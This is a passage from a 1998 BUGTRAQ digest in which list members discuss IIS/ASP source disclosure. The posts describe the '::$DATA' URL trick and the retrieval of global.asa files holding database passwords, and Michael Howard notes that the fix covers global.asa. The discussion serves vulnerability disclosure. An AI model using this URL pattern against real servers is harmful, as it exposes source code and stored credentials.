combinations for entering databases and the > like. microsoft did list .asa files as one of several that needed to be protected. I've also downloaded .dll, .exe, and .cfm files. I'm sure there are many others. It is nothing to do with ASP applications, just the fact that content handlers don't understand the type of any particular file which doesn't have the correct .XXX extension. http://www.scripting.com has some amusing anecdotes of credit card database passwords and a frequent flier database password being recovered. Paul ------------------------------ Date: Mon, 6 Jul 1998 16:49:45 -0700 From: Michael Howard Subject: Re: More potential ASP problems the recommended fix addresses global.asa also. thanks, mh -----Original Message----- From: Fred Donck [mailto:f.c.w.donck@SIEP.SHELL.COM] Sent: Friday, July 03, 1998 5:04 AM To: BUGTRAQ@NETSPACE.ORG Subject: More potential ASP problems All, Apart from the reported ASP problems on both bugtraq and ntbugtraq one of my colleques pointed me to some more exploit which may be just as bad. I haven't seen any mention of it yet to both the lists Apart from the http://www.domain.com/xxxx.asp::$DATA in ASP applications there may also a http://www.domain.com/global.asa which may contain session variables and user-id/password combinations for entering databases and the like. If not patched this is also subject to the vulnerabilities. my $0.02, Fred -- -------------------- My opinions are my own ---------------------------- Fred Donck | E-mail: f.c.w.donck@siep.shell.com (work) Technical Consultant | fred@donck.com, Voice/Fax : +31-70-3112374 | fred@realit.com (private) --- Idle cycles are a waste !! Check http://www.distributed.net/rc5 ---- ------------------------------ End of BUGTRAQ Digest - 3 Jul 1998 to 6 Jul 1998 ************************************************